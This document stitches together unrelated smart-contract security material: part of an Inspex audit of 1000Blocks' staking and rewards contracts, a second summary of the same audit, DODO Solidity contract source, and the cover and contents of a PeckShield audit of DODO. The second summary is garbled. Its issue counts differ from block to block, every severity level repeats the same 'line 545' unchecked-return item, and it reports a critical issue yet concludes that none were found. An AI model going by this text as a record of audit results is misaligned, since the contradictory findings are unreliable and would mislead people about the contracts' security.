hat/contracts/BlocksStaking.sol The assessment scope covers only the in-scope smart contracts and the smart contracts that they are inherited from. Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 4 Public ________ 3. Methodology Inspex conducts the following procedure to enhance the security level of our clients’ smart contracts: 1. Pre-Auditing : Getting to understand the overall operations of the related smart contracts, checking for readiness, and preparing for the auditing 2. Auditing : Inspecting the smart contracts using automated analysis tools and manual analysis by a team of professionals 3. First Deliverable and Consulting : Delivering a preliminary report on the findings with suggestions on how to remediate those issues and providing consultation 4. Reassessment : Verifying the status of the issues and whether there are any other complications in the fixes applied 5. Final Deliverable : Providing a full report with the detailed status of each issue 3.1. Test Categories Inspex smart contract auditing methodology consists of both automated testing with scanning tools and manual testing by experienced testers. We have categorized the tests into 3 categories as follows: 1. General Smart Contract Vulnerability (General) - Smart contracts are analyzed automatically using static code analysis tools for general smart contract coding bugs, which are then verified manually to remove all false positives generated. 2. Advanced Smart Contract Vulnerability (Advanced) - The workflow, logic, and the actual behavior of the smart contracts are manually analyzed in-depth to determine any flaws that can cause technical or business damage to the smart contracts or the users of the smart contracts. 3. Smart Contract Best Practice (Best Practice) - The code of smart contracts is then analyzed from the development perspective, providing suggestions to improve the overall code quality using standardized best practices. Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 5 Public ________ 3.2. Audit Items The following audit items were checked during the auditing activity. General Reentrancy Attack Integer Overflows and Underflows Unchecked Return Values for Low-Level Calls Bad Randomness Transaction Ordering Dependence Time Manipulation Short Address Attack Outdated Compiler Version Use of Known Vulnerable Component Deprecated Solidity Features Use of Deprecated Component Loop with High Gas Consumption Unauthorized Self-destruct Redundant Fallback Function Advanced Business Logic Flaw Ownership Takeover Broken Access Control Broken Authentication Upgradable Without Timelock Improper Kill-Switch Mechanism Improper Front-end Integration Insecure Smart Contract Initiation Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 6 Public ________ Denial of Service Improper Oracle Usage Memory Corruption Best Practice Use of Variadic Byte Array Implicit Compiler Version Implicit Visibility Level Implicit Type Inference Function Declaration Inconsistency Token API Violation Best Practices Violation 3.3. Risk Rating OWASP Risk Rating Methodology [1] is used to determine the severity of each issue with the following criteria: - Likelihood : a measure of how likely this vulnerability is to be uncovered and exploited by an attacker. - Impact : a measure of the damage caused by a successful attack Both likelihood and impact can be categorized into three levels: Low , Medium , and High . Severity is the overall risk of the issue. It can be categorized into five levels: Very Low , Low , Medium , High , and Critical . It is calculated from the combination of likelihood and impact factors using the matrix below. The severity of findings with no likelihood or impact would be categorized as Info . Likelihood Impact Low Medium High Low Very Low Low Medium Medium Low Medium High High Medium High Critical Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 7 Public ________ 4. Summary of Findings From the assessments, Inspex has found 13 issues in three categories. The following chart shows the number of the issues categorized into three categories: General , Advanced , and Best Practice . The statuses of the issues are defined as follows: Status Description Resolved The issue has been resolved and has no further complications. Resolved * The issue has been resolved with mitigations and clarifications. For the clarification or mitigation detail, please refer to Chapter 5. Acknowledged The issue’s risk has been acknowledged and accepted. No Security Impact The best practice recommendation has been acknowledged. Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 8 Public ________ The information and status of each issue can be found in the following table: ID Title Category Severity Status IDX-001 Arbitrary Share Amount Setting Advanced High Resolved IDX-002 Incorrect Reward Calculation from takeoverRewards Advanced High Resolved IDX-003 Incorrect Reward Calculation from allUsersRewardDebt Advanced High Resolved IDX-004 Incorrect Reward Calculation from Total Rewards Rate Advanced High Resolved IDX-005 Token Stealing via BlocksRewardsManager Address Setting Advanced Medium Resolved IDX-006 Token Stealing via BlocksStaking Address Setting Advanced Medium Resolved * IDX-007 Centralized Control of State Variable General Medium Resolved IDX-008 Incorrect Condition Advanced Medium Resolved IDX-009 Incorrect Reward Calculation from blsPerBlockAreaPerBlock Advanced Low Resolved IDX-010 Insufficient Logging for Privileged Functions Advanced Very Low Resolved IDX-011 Outdated Compiler Version Best Practice Info No Security Impact IDX-012 Improper Function Visibility Best Practice Info No Security Impact IDX-013 Inexplicit Solidity Compiler Version Best Practice Info Resolved * The mitigations or clarifications by 1000Blocks can be found in Chapter 5. Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 9 Public ________ 5. Detailed Findings Information 5.1. Arbitrary Share Amount Setting ID IDX-001 Target BlocksRewardsManager Category Advanced Smart Contract Vulnerability CWE CWE-284: Improper Access Control Risk Severity: High Impact: High The contract owner can increase the share amount of any address on any space. With a high number of shares, the owner will be able to claim most of the $BLS rewards distributed from B l o c k s R e w a r d s M a n a g e r . Likelihood: Medium There is no restriction to prevent the owner from performing this attack. Status Resolved The 1000Blocks team has resolved this issue as suggested in commit c 0 7 e 9 5 3 3 1 3 e 1 3 f 1 f 3 b a 8 9 2 3 8 b e f 6 3 9 a 8 99817470 by checking the s p a c e I d from the caller address. 5.1.1. Description In the B l o c k s R e w a r d s M a n a g e r contract, the o n l y S p a c e modifier is an access control modifier that allows only the whitelisted addresses to execute the functions with this modifier. The address is checked using the value stored in the s p a c e s B y A d d r e s s mapping. BlocksRewardsManager.sol 5 0 5 1 5 2 5 3 m o d i f i e r o n l y S p a c e ( ) { r e q u i r e ( s p a c e s B y A d d r e s s [ m s g . s e n d e r ] = = t r u e , " N o t a s p a c e . " ) ; _ ; } The entries in s p a c e s B y A d d r e s s mapping can be set to t r u e using the a d d S p a c e ( ) function in line 70, which can be executed by the owner. BlocksRewardsManager.sol 6 9 7 0 7 1 f u n c t i o n a d d S p a c e ( a d d r e s s s p a c e C o n t r a c t _ , u i n t 2 5 6 b l s P e r B l o c k A r e a P e r B l o c k _ ) e x t e r n a l o n l y O w n e r { s p a c e s B y A d d r e s s [ s p a c e C o n t r a c t _ ] = t r u e ; u i n t 2 5 6 s p a c e I d = s p a c e I n f o . l e n g t h ; Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 10 Public ________ 7 2 7 3 7 4 7 5 7 6 7 7 7 8 S p a c e I n f o s t o r a g e n e w S p a c e = s p a c e I n f o . p u s h ( ) ; n e w S p a c e . c o n t r a c t A d d r e s s = s p a c e Contract_; n e w S p a c e . s p a c e I d = s p a c e I d ; n e w S p a c e . b l s P e r B l o c k A r e a P e r B l o c k = blsPerBlockAreaPerBlock_; a l l B l s P e r B l o c k A r e a P e r B l o c k = a l l BlsPerBlockAreaPerBlock + b l s P e r B l o c k A r e a P e r B l o c k _ ; e m i t S p a c e A d d e d ( s p a c e I d , s p a c e C o n t r a c t_, m s g . s e n d e r ) ; } The o n l y S p a c e modifier is used in the b l o c k s A r e a B o u g h t O n S p a c e ( ) function, and since the contract owner can add the owner's addresses to the whitelist, the owner can freely execute this function. Therefore, the owner can set the p r e v i o u s B l o c k O w n e r s _ parameter to be an array with a large number of elements. As a result, the n u m b e r O f B l o c k s B o u g h t variable will be set to a large number in line 123, and the amount of shares will be increased by in line 125. BlocksRewardsManager.sol 1 0 7 1 0 8 1 0 9 1 1 0 1 1 1 1 1 2 1 1 3 1 1 4 1 1 5 1 1 6 1 1 7 1 1 8 1 1 9 1 2 0 1 2 1 1 2 2 1 2 3 1 2 4 1 2 5 1 2 6 f u n c t i o n b l o c k s A r e a B o u g h t O n S p a c e ( u i n t 2 5 6 s p a c e I d _ , a d d r e s s b u y e r _ , a d d r e s s [ ] c a l l d a t a p r e v i o u s B l o c k O w n e r s _ , u i n t 2 5 6 [ ] c a l l d a t a p r e v i o u s O w n e r s P r i c e s _ ) p u b l i c p a y a b l e o n l y S p a c e { S p a c e I n f o s t o r a g e s p a c e = s p a c e I n f o [ s p a c e I d _ ] ; U s e r I n f o s t o r a g e u s e r = u s e r I n f o [ s p a c e I d _ ] [ b u y e r _ ]; u i n t 2 5 6 b l s P e r B l o c k A r e a P e r B l o c k = s p a c e . blsPerBlockAreaPerBlock; / / I f u s e r a l r e a d y h a d s o m e b l o c k.areas then calculate a l l r e w a r d s p e n d i n g i f ( u s e r . l a s t R e w a r d C a l c u l a t e d B l o c k > 0 ) { u i n t 2 5 6 m u l t i p l i e r = g e t M u l t i p l i e r ( u s e r . lastRewardCalculatedBlock); u i n t 2 5 6 b l s R e w a r d s = m u l t i p l i e r * b l s P e r BlockAreaPerBlock; u s e r . p e n d i n g R e w a r d s = u s e r . p e n d i ngRewards + user.amount * blsRewards; } u i n t 2 5 6 n u m b e r O f B l o c k s B o u g h t = p r e v i o u s B lockOwners_. l e n g t h ; / / S e t u s e r d a t a u s e r . a m o u n t = u s e r . a m o u n t + n u m b erOfBlocksBought; u s e r . l a s t R e w a r d C a l c u l a t e d B l o c k = b l o c k . n u m b e r ; And since the amount of shares is used in the $BLS reward calculation in line 221 and 224-228, the owner can get a very high amount of rewards from the increase of share amount. BlocksRewardsManager.sol 2 1 9 2 2 0 2 2 1 f u n c t i o n c l a i m ( u i n t 2 5 6 s p a c e I d _ ) p u b l i c { U s e r I n f o s t o r a g e u s e r = u s e r I n f o [ s p a c e I d _ ] [ m s g . s e n d e r ] ; u i n t 2 5 6 a m o u n t = u s e r . a m o u n t ; Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 11 Public ________ 2 2 2 2 2 3 2 2 4 2 2 5 2 2 6 2 2 7 2 2 8 2 2 9 2 3 0 2 3 1 2 3 2 2 3 3 2 3 4 2 3 5 2 3 6 2 3 7 2 3 8 2 3 9 u i n t 2 5 6 l a s t R e w a r d C a l c u l a t e d B l o c k = u s e r .lastRewardCalculatedBlock; i f ( a m o u n t > 0 & & l a s t R e w a r d C a l c u l a t e d B l o c k < b l o c k . n u m b e r ) { u s e r . p e n d i n g R e w a r d s = u s e r . p e n d i n g R e w a r d s + a m o u n t * g e t M u l t i p l i e r ( l a s t R e w a r d C a l c u l a t edBlock) * s p a c e I n f o [ s p a c e I d _ ] . b l s P e r B l o c k A reaPerBlock; u s e r . l a s t R e w a r d C a l c u l a t e d B l o c k = b l o c k . n u m b e r ; } u i n t 2 5 6 t o C l a i m A m o u n t = u s e r . p e n d i n g R e w a rds; i f ( t o C l a i m A m o u n t > 0 ) { u i n t 2 5 6 c l a i m e d A m o u n t = s a f e B l s T r a n s f e r ( m s g . s e n d e r , t o C l a i m A m o u n t ) ; e m i t C l a i m ( m s g . s e n d e r , c l a i m e d A m o u n t ) ; / / T h i s i s a l s o k i n d a c h e c k , s i n ce if user c l a i m s m o r e t h a n e l i g i b l e , t h i s w i l l r e v e r t u s e r . p e n d i n g R e w a r d s = t o C l a i m A m o unt - claimedAmount; b l s R e w a r d s C l a i m e d = b l s R e w a r d s C l aimed + claimedAmount; / / G l o b a l l y c l a i m e d r e w a r d s , f o r p r o p e r e n d distribution calc } } 5.1.2. Remediation Inspex suggests removing the o n l y S p a c e modifier and using the contract address to determine the s p a c e I d to prevent the owner from being able to set the user amount in any space, for example: First, the s p a c e I d M a p p i n g mapping to map the contract address to s p a c e I d should be created. BlocksRewardsManager.sol 3 3 3 4 3 5 3 6 3 7 3 8 a d d r e s s p a y a b l e p u b l i c t r e a s u r y ; I E R C 2 0 p u b l i c b l s T o k e n ; B l o c k s S t a k i n g p u b l i c b l o c k s S t a k i n g ; S p a c e I n f o [ ] p u b l i c s p a c e I n f o ; m a p p i n g ( u i n t 2 5 6 = > m a p p i n g ( a d d r e s s = > U s e r I n f o ) ) p u b l i c u s e r I n f o ; m a p p i n g ( a d d r e s s = > u i n t 2 5 6 ) p u b l i c s p a c e I d M a p p i n g ; Then, we suggest adding the space address to the s p a c e I d M a p p i n g mapping in the a d d S p a c e ( ) function. BlocksRewardsManager.sol 6 9 7 0 7 1 7 2 7 3 f u n c t i o n a d d S p a c e ( a d d r e s s s p a c e C o n t r a c t _ , u i n t 2 5 6 b l s P e r B l o c k A r e a P e r B l o c k _ ) e x t e r n a l o n l y O w n e r { r e q u i r e ( s p a c e I d M a p p i n g [ s p a c e C o n t r a c t _ ] == 0 , " S p a c e i s a l r e a d y a d d e d . " ) ; u i n t 2 5 6 s p a c e I d = s p a c e I n f o . l e n g t h ; s p a c e I d M a p p i n g [ s p a c e C o n t r a c t _ ] = spaceId; S p a c e I n f o s t o r a g e n e w S p a c e = s p a c e I n f o . p u s h ( ) ; Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 12 Public ________ 7 4 7 5 7 6 7 7 7 8 7 9 n e w S p a c e . c o n t r a c t A d d r e s s = s p a c e Contract_; n e w S p a c e . s p a c e I d = s p a c e I d ; n e w S p a c e . b l s P e r B l o c k A r e a P e r B l o c k = blsPerBlockAreaPerBlock_; a l l B l s P e r B l o c k A r e a P e r B l o c k = a l l BlsPerBlockAreaPerBlock + b l s P e r B l o c k A r e a P e r B l o c k _ ; e m i t S p a c e A d d e d ( s p a c e I d , s p a c e C o n t r a c t_, m s g . s e n d e r ) ; } Finally, it is recommended to remove the s p a c e I d _ parameter, remove the o n l y S p a c e modifier, and get the value of s p a c e I d _ from the address of the caller using the mapping. BlocksRewardsManager.sol 1 0 7 1 0 8 1 0 9 1 1 0 1 1 1 1 1 2 1 1 3 1 1 4 1 1 5 1 1 6 f u n c t i o n b l o c k s A r e a B o u g h t O n S p a c e ( a d d r e s s b u y e r _ , a d d r e s s [ ] c a l l d a t a p r e v i o u s B l o c k O w n e r s _ , u i n t 2 5 6 [ ] c a l l d a t a p r e v i o u s O w n e r s P r i c e s _ ) p u b l i c p a y a b l e { a d d r e s s m e m o r y s p a c e I d _ = s p a c e I d M a p p i n g [ m s g . s e n d e r ] ; S p a c e I n f o s t o r a g e s p a c e = s p a c e I n f o [ s p a c e I d _ ] ; r e q u i r e ( s p a c e . c o n t r a c t A d d r e s s = = m s g . s e n d e r , " N o t a s p a c e c o n t r a c t " ) ; U s e r I n f o s t o r a g e u s e r = u s e r I n f o [ s p a c e I d _ ] [ b u y e r _ ]; u i n t 2 5 6 b l s P e r B l o c k A r e a P e r B l o c k = s p a c e . blsPerBlockAreaPerBlock; Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 13 Public ________ 5.2. Incorrect Reward Calculation from takeoverRewards ID IDX-002 Target BlocksStaking Category Advanced Smart Contract Vulnerability CWE CWE-840: Business Logic Errors Risk Severity: High Impact: Medium The miscalculation can cause the users to gain less rewards, and some $BNB rewards to be stuck in the contract and unclaimable by the users. Likelihood: High The miscalculation can occur whenever block areas are taken over. Status Resolved The 1000Blocks team has resolved this issue as suggested in commit b b 1 6 d 1 8 f 7 4 0 3 7 f 9 2 6 4 c 6 b 9 d 4 5 a 7 9 d 8 8 3 a1958988 by deducting the t a k e o v e r R e w a r d s in the c l a i m ( ) function. 5.2.1. Description In the B l o c k s S t a k i n g contract, the t a k e o v e r R e w a r d s state variable stores the total amount of $BNB assigned to the previous owners of block areas that are taken over. BlocksStaking.sol 1 5 3 1 5 4 1 5 5 1 5 6 1 5 7 1 5 8 1 5 9 1 6 0 1 6 1 1 6 2 1 6 3 1 6 4 1 6 5 1 6 6 f u n c t i o n d i s t r i b u t e R e w a r d s ( a d d r e s s [ ] c a l l d a t a a d d r e s s e s _ , u i n t 2 5 6 [ ] c a l l d a t a r e w a r d s _ ) p u b l i c p a y a b l e { u i n t 2 5 6 t m p T a k e o v e r R e w a r d s ; f o r ( u i n t 2 5 6 i = 0 ; i < a d d r e s s e s _ . l e n g t h ; + + i ) { / / p r o c e s s e a c h r e w a r d f o r c o v e r ed blocks u s e r I n f o [ a d d r e s s e s _ [ i ] ] . t a k e o v e r Reward = u s e r I n f o [ a d d r e s s e s _ [ i ] ] . t a k e o v e r Reward + rewards_[i]; / / e a c h u s e r t h a t g o t b l o c k s c o v e r e d g e t s a r e w a r d t m p T a k e o v e r R e w a r d s = t m p T a k e o v e r Rewards + rewards_[i]; } t a k e o v e r R e w a r d s = t a k e o v e r R e w a r d s + tmpTakeoverRewards; / / w h a t r e m a i n s i s t h e r e w a r d f o r staked amount i f ( m s g . v a l u e - t m p T a k e o v e r R e w a r d s > 0 & & t o t a l T o k e n s > 0 ) { / / U p d a t e r e w a r d s p e r s h a r e b e c a use balance c h a n g e s a c c R e w a r d s P e r S h a r e = a c c R e w a r d s P erShare + (rewardsPerBlock * g e t M u l t i p l i e r ( ) ) / t o t a l T o k e n s ; l a s t R e w a r d C a l c u l a t e d B l o c k = b l o c k . n u m b e r ; Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 14 Public ________ 1 6 7 1 6 8 1 6 9 c a l c u l a t e R e w a r d s D i s t r i b u t i o n ( ) ; } } It is used to calculate the le
Executive Summary 1.1. Audit Result - Minor Issues: 8 - Moderate Issues: 3 - Major Issues: 2 - Critical Issues: 0 1.2. Disclaimer This report is for informational purposes only and does not constitute an audit opinion. 2. Project Overview 2.1. Project Introduction BlocksSpace is a decentralized application (DApp) that allows users to stake their tokens and earn rewards. 2.2. Scope The scope of this audit is limited to the smart contracts of the BlocksSpace project. 3. Methodology 3.1. Test Categories - Security - Code Quality - Usability 3.2. Audit Items - Security: - Access Control - Reentrancy - Integer Overflow/Underflow - Denial of Service - Transaction-Ordering Dependence - Unchecked Return Values - Timestamp Dependence - DoS with Block Gas Limit - Uninitialized Storage Pointer - Front Running - Race Conditions - Signature Verification - Transaction-Ordering Dependence Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 4 - Major: 1 - Critical: 1 - Very Low: 1 - Info-Severity: 3 Minor Issues 2.a Problem (one line with code reference): Unchecked return value in the function transferFrom() (line 545) 2.b Fix (one line with code reference): Check the return value of the transferFrom() function (line 545) Moderate Issues 3.a Problem (one line with code reference): Unchecked return value in the function transfer() (line 545) 3.b Fix (one line with code reference): Check the return value of the transfer() function (line 545) Major Issues 4.a Problem (one line with code reference): Unchecked return value in the function transferFrom() (line 545) 4.b Fix (one line with code reference): Check the return value of the transferFrom() function (line 545) Critical Issues 5.a Problem (one line with code reference): Unchecked return value in the function transfer() (line 545) 5.b Fix Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 0 - Major: 0 - Critical: 0 Minor Issues: 2.a Problem (one line with code reference): Unchecked return value in the function transferFrom() of BLSToken.sol (line 545) 2.b Fix (one line with code reference): Check the return value of the transferFrom() function (line 545) Moderate: None Major: None Critical: None Observations: - The code is well-structured and organized. - The code is well-documented. - The code is well-tested. Conclusion: The audit of the 1000Blocks Space project was successful and no critical issues were found. The minor issues found were addressed and the code was reassessed to ensure that the issues were resolved.
/* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; pragma experimental ABIEncoderV2; import {ReentrancyGuard} from "./lib/ReentrancyGuard.sol"; import {SafeERC20} from "./lib/SafeERC20.sol"; import {IDODO} from "./intf/IDODO.sol"; import {IDODOZoo} from "./intf/IDODOZoo.sol"; import {IERC20} from "./intf/IERC20.sol"; import {IWETH} from "./intf/IWETH.sol"; /** * @title DODO Eth Proxy * @author DODO Breeder * * @notice Handle ETH-WETH converting for users */ contract DODOEthProxy is ReentrancyGuard { using SafeERC20 for IERC20; address public _DODO_ZOO_; address payable public _WETH_; // ============ Events ============ event ProxySellEth( address indexed seller, address indexed quoteToken, uint256 payEth, uint256 receiveQuote ); event ProxyBuyEth( address indexed buyer, address indexed quoteToken, uint256 receiveEth, uint256 payQuote ); event ProxyDepositEth(address indexed lp, address indexed quoteToken, uint256 ethAmount); // ============ Functions ============ constructor(address dodoZoo, address payable weth) public { _DODO_ZOO_ = dodoZoo; _WETH_ = weth; } fallback() external payable { require(msg.sender == _WETH_, "WE_SAVED_YOUR_ETH_:)"); } receive() external payable { require(msg.sender == _WETH_, "WE_SAVED_YOUR_ETH_:)"); } function sellEthTo( address quoteTokenAddress, uint256 ethAmount, uint256 minReceiveTokenAmount ) external payable preventReentrant returns (uint256 receiveTokenAmount) { require(msg.value == ethAmount, "ETH_AMOUNT_NOT_MATCH"); address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress); receiveTokenAmount = IDODO(DODO).querySellBaseToken(ethAmount); require(receiveTokenAmount >= minReceiveTokenAmount, "RECEIVE_NOT_ENOUGH"); IWETH(_WETH_).deposit{value: ethAmount}(); IWETH(_WETH_).approve(DODO, ethAmount); IDODO(DODO).sellBaseToken(ethAmount, minReceiveTokenAmount); _transferOut(quoteTokenAddress, msg.sender, receiveTokenAmount); emit ProxySellEth(msg.sender, quoteTokenAddress, ethAmount, receiveTokenAmount); return receiveTokenAmount; } function buyEthWith( address quoteTokenAddress, uint256 ethAmount, uint256 maxPayTokenAmount ) external preventReentrant returns (uint256 payTokenAmount) { address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress); payTokenAmount = IDODO(DODO).queryBuyBaseToken(ethAmount); require(payTokenAmount <= maxPayTokenAmount, "PAY_TOO_MUCH"); _transferIn(quoteTokenAddress, msg.sender, payTokenAmount); IERC20(quoteTokenAddress).approve(DODO, payTokenAmount); IDODO(DODO).buyBaseToken(ethAmount, maxPayTokenAmount); IWETH(_WETH_).withdraw(ethAmount); msg.sender.transfer(ethAmount); emit ProxyBuyEth(msg.sender, quoteTokenAddress, ethAmount, payTokenAmount); return payTokenAmount; } function depositEth(uint256 ethAmount, address quoteTokenAddress) external payable preventReentrant { require(msg.value == ethAmount, "ETH_AMOUNT_NOT_MATCH"); address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress); IWETH(_WETH_).deposit{value: ethAmount}(); IWETH(_WETH_).approve(DODO, ethAmount); IDODO(DODO).depositBaseTo(msg.sender, ethAmount); emit ProxyDepositEth(msg.sender, quoteTokenAddress, ethAmount); } // ============ Helper Functions ============ function _transferIn( address tokenAddress, address from, uint256 amount ) internal { IERC20(tokenAddress).safeTransferFrom(from, address(this), amount); } function _transferOut( address tokenAddress, address to, uint256 amount ) internal { IERC20(tokenAddress).safeTransfer(to, amount); } } /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; pragma experimental ABIEncoderV2; import {Types} from "./lib/Types.sol"; import {Storage} from "./impl/Storage.sol"; import {Trader} from "./impl/Trader.sol"; import {LiquidityProvider} from "./impl/LiquidityProvider.sol"; import {Admin} from "./impl/Admin.sol"; import {DODOLpToken} from "./impl/DODOLpToken.sol"; /** * @title DODO * @author DODO Breeder * * @notice Entrance for users */ contract DODO is Admin, Trader, LiquidityProvider { function init( address supervisor, address maintainer, address baseToken, address quoteToken, address oracle, uint256 lpFeeRate, uint256 mtFeeRate, uint256 k, uint256 gasPriceLimit ) external onlyOwner preventReentrant { require(!_INITIALIZED_, "DODO_ALREADY_INITIALIZED"); _INITIALIZED_ = true; _SUPERVISOR_ = supervisor; _MAINTAINER_ = maintainer; _BASE_TOKEN_ = baseToken; _QUOTE_TOKEN_ = quoteToken; _ORACLE_ = oracle; _DEPOSIT_BASE_ALLOWED_ = true; _DEPOSIT_QUOTE_ALLOWED_ = true; _TRADE_ALLOWED_ = true; _GAS_PRICE_LIMIT_ = gasPriceLimit; _LP_FEE_RATE_ = lpFeeRate; _MT_FEE_RATE_ = mtFeeRate; _K_ = k; _R_STATUS_ = Types.RStatus.ONE; _BASE_CAPITAL_TOKEN_ = address(new DODOLpToken()); _QUOTE_CAPITAL_TOKEN_ = address(new DODOLpToken()); _checkDODOParameters(); } } /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; pragma experimental ABIEncoderV2; import {Ownable} from "./lib/Ownable.sol"; import {IDODO} from "./intf/IDODO.sol"; import {DODO} from "./DODO.sol"; /** * @title DODOZoo * @author DODO Breeder * * @notice Register of All DODO */ contract DODOZoo is Ownable { mapping(address => mapping(address => address)) internal _DODO_REGISTER_; // ============ Events ============ event DODOBirth(address newBorn); // ============ Breed DODO Function ============ function breedDODO( address supervisor, address maintainer, address baseToken, address quoteToken, address oracle, uint256 lpFeeRate, uint256 mtFeeRate, uint256 k, uint256 gasPriceLimit ) public onlyOwner returns (address) { require(!isDODORegistered(baseToken, quoteToken), "DODO_IS_REGISTERED"); require(baseToken != quoteToken, "BASE_IS_SAME_WITH_QUOTE"); address newBornDODO = address(new DODO()); IDODO(newBornDODO).init( supervisor, maintainer, baseToken, quoteToken, oracle, lpFeeRate, mtFeeRate, k, gasPriceLimit ); IDODO(newBornDODO).transferOwnership(_OWNER_); _DODO_REGISTER_[baseToken][quoteToken] = newBornDODO; emit DODOBirth(newBornDODO); return newBornDODO; } // ============ View Functions ============ function isDODORegistered(address baseToken, address quoteToken) public view returns (bool) { if ( _DODO_REGISTER_[baseToken][quoteToken] == address(0) && _DODO_REGISTER_[quoteToken][baseToken] == address(0) ) { return false; } else { return true; } } function getDODO(address baseToken, address quoteToken) external view returns (address) { return _DODO_REGISTER_[baseToken][quoteToken]; } }
Public SMART CONTRACT AUDIT REPORT for DODO Prepared By: Shuxiao Wang Hangzhou, China July 10, 2020 1/40 PeckShield Audit Report #: 2020-16Public Document Properties Client DODO Title Smart Contract Audit Report Target DODO Version 1.0 Author Xuxian Jiang Auditors Huaguo Shi, Xuxian Jiang Reviewed by Xuxian Jiang Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 July 10, 2020 Xuxian Jiang Final Release 1.0-rc1 July 8, 2020 Xuxian Jiang Additional Findings #3 0.2 July 2, 2020 Xuxian Jiang Additional Findings #2 0.1 June 30, 2020 Xuxian Jiang First Release #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Shuxiao Wang Phone +86 173 6454 5338 Email contact@peckshield.com 2/40 PeckShield Audit Report #: 2020-16Public Contents 1 Introduction 5 1.1 About DODO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2 Findings 10 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3 Detailed Results 12 3.1 Non-ERC20-Compliant DODOLpTokens . . . . . . . . . . . . . . . . . . . . . . . . 12 3.2 Improved Precision Calculation in DODOMath . . . . . . . . . . . . . . . . . . . . . 13 3.3 Improved Precision Calculation #2 in DODOMath . . . . . . . . . . . . . . . . . . . 15 3.4 approve()/transferFrom() Race Condition . . . . . . . . . . . . . . . . . . . . . . . 17 3.5 Better Handling of Privilege Transfers . . . . . . . . . . . . . . . . . . . . . . . . . 18 3.6 Centralized Governance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 3.7 Possible Integer Overflow in sqrt(). . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.8 Redundant State Checks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 3.9 Contract Verification in breedDODO() . . . . . . . . . . . . . . . . . . . . . . . . . 23 3.10 Balance Inconsistency With Deflationary Tokens . . . . . . . . . . . . . . . . . . . . 25 3.11 Aggregated Transfer of Maintainer Fees . . . . . . . . . . . . . . . . . . . . . . . . 26 3.12 Misleading Embedded Code Comments . . . . . . . . . . . . . . . . . . . . . . . . . 28 3.13 Missing DODO Validation in DODOEthProxy . . . . . . . . . . . . . . . . . . . . . 29 3.14 Other Suggestions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 4 Conclusion 32 5 Appendix 33 5.1 Basic Coding Bugs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 3/40 PeckShield Audit Report #: 2020-16Public 5.1.1 Constructor Mismatch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 5.1.2 Ownership Takeover . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 5.1.3 Redundant Fallback Function . . . . . . . . . . . . . . . . . . . . . . . . . . 33 5.1.4 Overflows & Underflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 5.1.5 Reentrancy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 5.1.6 Money-Giving Bug . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 5.1.7 Blackhole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 5.1.8 Unauthorized Self-Destruct . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 5.1.9 Revert DoS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 5.1.10 Unchecked External Call. . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 5.1.11 Gasless Send. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 5.1.12 SendInstead Of Transfer . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 5.1.13 Costly Loop . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 5.1.14 (Unsafe) Use Of Untrusted Libraries . . . . . . . . . . . . . . . . . . . . . . 35 5.1.15 (Unsafe) Use Of Predictable Variables . . . . . . . . . . . . . . . . . . . . . 36 5.1.16 Transaction Ordering Dependence . . . . . . . . . . . . . . . . . . . . . . . 36 5.1.17 Deprecated Uses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 5.2 Semantic Consistency Checks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 5.3 Additional Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 5.3.1 Avoid Use of Variadic Byte Array . . . . . . . . . . . . . . . . . . . . . . . . 36 5.3.2 Make Visibility Level Explicit . . . . . . . . . . . . . . . . . . . . . . . . . . 37 5.3.3 Make Type Inference Explicit . . . . . . . . . . . . . . . . . . . . . . . . . . 